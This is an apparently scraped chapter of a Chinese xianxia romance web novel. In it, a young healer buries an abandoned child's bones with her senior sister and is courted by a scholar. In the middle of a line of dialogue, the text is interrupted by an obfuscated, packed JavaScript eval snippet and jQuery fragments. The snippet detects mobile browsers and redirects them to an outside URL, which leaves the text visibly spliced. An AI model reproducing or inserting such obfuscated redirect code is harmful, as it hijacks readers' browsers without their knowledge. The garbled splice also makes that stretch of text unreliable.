“多谢你送我回来!”
奈奈一脸感激地望着面前眉目清隽的年轻书生。
她没想到云上城还有长得这么好看的书生,关键心地也很好。她刚刚在山上挖寻骸骨时,险些滚下山,是他拉住了她。
还非要送她回家。
其实她一点儿也没事,哪里需要人送。他说他住在云上城里,给人做西席先生,刚去山里探望亲戚回来,现在就要回城去,刚好与她顺路。
她住在山脚下,两里外就是出城的官道,于是也就没拦着。
毕竟谁能拒绝与长得这么好看文雅的小哥哥同行呢。
她模样生得实在太乖,书生并不知她的身份,好心提醒:“女孩子一个人上山很危险,最好找个人陪着。”
奈奈也没有解释,弯弯眼睛,“我会注意的。”
书生也淡淡笑了一下,向她告辞,往城里那条路的方向去了。
直到那抹青色的清瘦身影消失在官道,奈奈才收回视线,一回头,对上一双冰冷的银瞳。
奈奈吓了一跳:“龙兄几时出来的?”
“他”怎么用这样的眼神看她,这种感觉就好像出轨被丈夫当场捉奸一样。
啊呸,这是什么破比喻!
她是人,就算小龙精能够幻化人形,那他们也是有生殖隔离的,至少是心理上的。
一想到龙有两根那么大的东西,啧啧,可怕!
奈奈放下相箧走到井边,一边打水洗手洗脚,一边把遇见书生的事儿和“他”说了一遍。
说完,这几天总是垂头丧气的少女忽然回头冲他笑了一下,有些腼腆:“龙兄,你有没有觉得他长得特别好看?”
“我觉得他一看就是那种,怎么说呢,就是非常适合居家过日子。他穿围裙的样子一定很好看!在我们女孩子的眼里,男人就应该出得厅堂,入得厨房!”
“我就想要一个那样的男人!”她直勾勾地望着他说。
他微微眯起眼睛。
她要求越来越多了!
翌日。
奈奈天不亮就出发去城里取皮影。
掌柜的虽然不会画,但是皮影的手艺却极好。
奈奈非常地满意,付了剩下的钱,也不耽搁,拿了东西就出城去了。
对面茶楼二楼的欧阳久久盯着那抹越来越远的黑色身影:“骸骨挖到了吗?”
赵澜生颔首:“我发布了一个价值五百两的悬赏令,那些人按照大师姐说的孩子特征,翻遍了整座城,终于找到了那孩子的家里人。然后根据他家人提供的线索,在一处山坳里挖到的。”
“说起来那孩子也够可怜的,生下来左脚便有残疾,不受父母喜欢。养到两三岁上,他父母又生了一个健康的儿子,再加上他又生了一场重病,于是就把他抱在山上自生自灭。哦,对了,他叫小豆儿。”
欧阳久久听得眉头紧皱:“把骸骨给我。”
赵澜生身边的侍从忙把一个一尺见方的檀木箱子递上前。
欧阳久久拎着箱箧,招呼都没打,从窗口跳了下去。
赵澜生往下看了一眼,啧啧两声,看向沈清昀:“二师兄不去瞧瞧?”
还没入门,一句“二师兄”叫得亲热丝滑。
沈清昀抿了一口茶:“她们说话的时候,我最好不要在场。”顿了顿,又提醒,“如果碰见她们吵架,你一定要躲得越来越远,千万别劝。”
赵澜生不解:“为何?”
沈清昀淡淡一笑:“以后你就知道了。”
赵澜生又忍不住打量他一眼。
他这个人,总是给人一种说不出的感觉。像大师姐那种火爆脾气的女孩子到了他跟前,也发不出半点脾气。
赵澜生好奇:“二师兄是不是有红多红颜知己?”
沈清昀愣了一下,随即摇头:“女孩子都不喜欢我,总喜欢和我打架。”
赵澜生诧异不已。
女修士的眼光居然这么高吗?
也不知道像他这种有钱又有情趣的男人有没有市场?
*
一只红彤彤的小鸭子放在一个刚挖出来的小土坑旁边。
紧接着是一套小孩的衣裳,一顶虎头帽,一双小鞋子,还有一些男孩子爱玩的玩具。
只可惜她几乎找遍了整座山都没能找到婴灵的骸骨,就连想要帮他超度都没办法。
她只能在遇见他的密林里找了一处风水宝地,给他做个坟。
她刚要把东西放进坑里,身后传来极轻的脚步声。
奈奈不用回头就知道是谁。
一个紫檀木箱子放在她面前。
奈奈抬起脸,一脸惊讶地看向欧阳久久:“这是什么?”
欧阳久久在她身旁蹲下,“既然要做法事,总得有骸骨才行。”
奈奈的瞳仁亮得吓人:“这是他的骸骨?大师姐是怎么找到的?”
欧阳久久最讨厌花无奈的眼睛。
第一次见面她就讨厌。
只到她鼻尖的小女孩顶着一张人畜无害的脸,一对比寻常人黑的眼睛眨啊眨,声音甜得掉牙:“小姐姐你好啊,我叫花无奈,你可以叫我奈奈!”
欧阳久久还以为她是误入师门的小白兔,虽然她天生烦这种没有自保能力的人,可还是忍不住想要关照她。
因为她看起来实在太弱了,脸色苍白得没有一点儿血色,像个易碎的瓷娃娃。夜里打个雷,都要躲在被窝里瑟瑟发抖。
她是强者。
强者天生就应该关爱弱者。
小白兔就应该被她呵护在羽翼之下,更何况小白兔那么信赖她。
直到三天后测试根骨,那只整天跟在她屁股后面“姐姐长”“姐姐短”的小白兔点爆了苍镜。
苍镜是道门的镇山之宝,功能之一便是替每一个入门弟子评测资质,就连她这种从小被夸到大的“天才”,也只是让苍镜红温而已。
小白兔拥有圣骨。
她至今记得那场面,整个尘徽宗都沸腾了,全都来看小白兔。
那可是圣骨啊,是真正的天才。
对于这种人来说,修行就像呼吸睡觉一样简单。
偌大的九洲,拥有圣骨的也不超过十个人,其中一个是五百年前亲手养大恶龙梵雪,最后却被梵雪剥皮抽骨的明光道尊。
至于其他的几个,至今也都是九洲受人敬仰,地位超然的存在。
从那天开始,小白兔晋升为她的对手。
可偏偏就是这种最该献身于苍生大道的天才,居然躲在这里做一个小医修!
她自作主张替师尊收了那个八卦且没有任何根骨的赵澜生,就是为了让花无奈求她。
花无奈在某些方面执拗得可怕,心软得让人想要打死她。
她笃定花无奈一定会为了小豆儿的骸骨妥协。
可她看着这对讨人厌的眼,酝酿了一路的威胁的话怎么都说不出口了。
可恶!
欧阳久久在心里把那只蹦蹦哒哒的小白兔狠狠地揍了一遍,面无表情地把小豆儿的身世来历说了一遍。
她听后沉默了还一会儿,小声地说:“原来他叫小豆儿。”
欧阳久久打开了箱子。
一副孩子的骨架静静地躺在铺了白色生丝的箱底,其中有一只腿的骨头很明显比另外一条腿骨短了些。
奈奈把买来的衣裳鞋袜帮他小心地穿好,最后和玩具一起放进紫檀木箱子里。
埋好后,她又点了香烛等物。
有骸骨,便还有投胎做人的机会。
两个人帮小豆儿做了一场法事。
但愿他下辈子投胎,能够有一副健全的身体,一对爱他的父母,免他苦,免他忧,平安喜乐,顺遂一生。
结束后,奈奈拿着那副皮影继续那天未完的故事。
欧阳久久坐在一旁听得认真。
故事讲完,已经是一刻钟以后的事儿,奈奈点燃了皮影。
皮影是牛皮做的,有些不易燃,还是欧阳久久加注了些许灵力助燃。
火舌很快吞噬了皮影,空气中弥漫着焦臭与香烛的气息。
奈奈一边收拾东西,一边问:“师尊老人家还好吗?”
欧阳久久回答:“又闭关去了。你是知道他的,一年三百六十五天,有三百天六十天用来怀念师母。”
九洲无人不知,尘徽宗的道尊因为魔尊梵雪而痛失爱侣,几乎闭门不出。要不是因为梵雪的缘故,他根本不会收徒。
奈奈“嗯”了一声,背起箱箧:“那我回家了。”
欧阳久久拦住她:“你说,你究竟怎样才跟我们走?”
花无奈实在想不通她为什么非得要自己和她走,沉默了一会儿,说:“那大师姐不如把二师兄绑了送我床上吧!”
欧阳久久闻言,像是被马蜂蛰了一下,咬牙:“花无奈,你还要不要脸!”
奈奈一脸无辜:“是大师姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427554|184854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
非要问我要什么。”
欧阳久久瞪她一眼,怒气冲冲地转身离开。
奈奈原地站了好一会儿,垂头丧气地向山下走去。
她想待会儿回去和小龙精聊一聊关于去海边的事儿,如果“他”同意,她明天就出发。
谁知一回到家,远远地看见赵大娘站在门口。
仙凝草不仅能够骨骼再生,还有延年益寿,强身健体的功效。
赵大娘原先挺不直的背也好了,整个人都年轻了不少。
赵大娘一见到她人,就要下跪。
奈奈赶紧搀起她。
赵大娘拉着她的手泪眼汪汪说了一大堆感激的话,末了,又邀她明天去喝小宝的满月酒。
“花医师,你是我们全家的救命恩人,谁都不去你也得去!”她哽咽。
算了,再多留一天吧。
于是奈奈第二天晌午去了赵家。
她还是第一次来吃满月酒,没想到这么热闹,院子里全都是人,摆了五六张桌子,十几个小孩跑来跑去打闹,吵闹声简直要把屋顶掀翻。
大宝也在其中。
她穿了一套崭新的衣裳,干干净净的,和之前邋里邋遢的模样判若两人。
赵大娘一家子看到她来,高兴得不得了。尤其是赵大娘,绘声绘色地和亲戚们说自己怎么得救的事儿,把她夸成了神仙,众人看向奈奈的眼神里充满了敬畏。
奈奈笑眯眯听着,由她夸去。
她原先总是疑惑这小老太太明明过得很苦,怎么那么有精力。
现在她算是悟了,这个家就是她的一方天地,她是这天地里的王。
她为了她的家人冲锋陷阵,无所不能。
正说得热闹,一个青衣书生走了过来。
奈奈愣了一下,是他。
书生也没想到会遇见她,向她作了一揖,淡淡一笑:“原来姑娘就是表姑母口中的花医师。”
还不等奈奈开口,赵大娘的声音插了进来:“这就是我那秀才侄儿!”
奈奈心想,赵大娘倒没有夸大其词,这书生确实担得起”貌若潘安“四个字,就是不知道饭做的怎么样。
酒席吃到一半,奈奈想去小解,余氏赶紧要带她去。
奈奈从茅房出来的时候,余氏竟然还守在那儿,像是有话说。
因为大宝和婴灵的事儿,她对眼前这个妇人并没什么太大的好感。
余氏自然也知道。
她眼眶有些红,咬了咬唇,像是下定了什么决心,道:“花医师,人心都是肉长的,她拿命换我儿子。从今以后,她就是我余月娥的亲闺女!我要是对她不好,就让我不得好死!”说完这话,她本就不算白的脸红得滴血。
奈奈道:“我信你。”
余氏嘴巴张了张,低下头抹眼泪。
酒足饭饱后,奈奈起身告辞。
赵大娘扯着嗓门喊:“花医师,让我侄儿送你!”
奈奈看了一眼似乎也很乐意送她的书生,答应了。
她席上喝了一杯酒,人有些晕乎乎,一点儿不想说话。
好在书生记性好,还认得回她家的路,一路把她安全带回了家。
吹了一路的风,奈奈这会儿也清醒不少,见小龙精不在院子里,邀请他:“要不喝一杯水再走。”
书生应下来。
奈奈把人请到石桌旁坐下,朝屋子走去。
一抹雪白高大的虚影与她擦肩而过,在书生对面坐下,衣袖拂过桌面,一套冰雕的精致酒具出现在石桌上。
他给自己倒了一杯酒,看着她匆忙回了屋子,随即又走出来,一脸歉意:“我忘烧水了。”
书生笑了一下:“无妨,我就是想要进来坐一坐,花医师也坐下歇一歇吧。”
奈奈在白影右侧坐下。
她看不见他,胳膊枕在他衣袖上,整个人像是半倚在他怀里。
她又总觉得院子里还有一个人,正在偷听她和书生说话。
难道是小龙精?
自从那晚夜里喝醉酒后,小龙精看她的眼神越来越奇怪?
该不会是她酒后说了什么不该说的话,做了不该做的事?
可她又能对一条龙做什么呢?
她正走神,书生忽然从袖中摸出一张戏票:“若是花医师有空,不如一起去听戏吧?”
奈奈闻言,有些茫然地望向那张戏票。
他指骨一顿,眸光落在她眼睛上。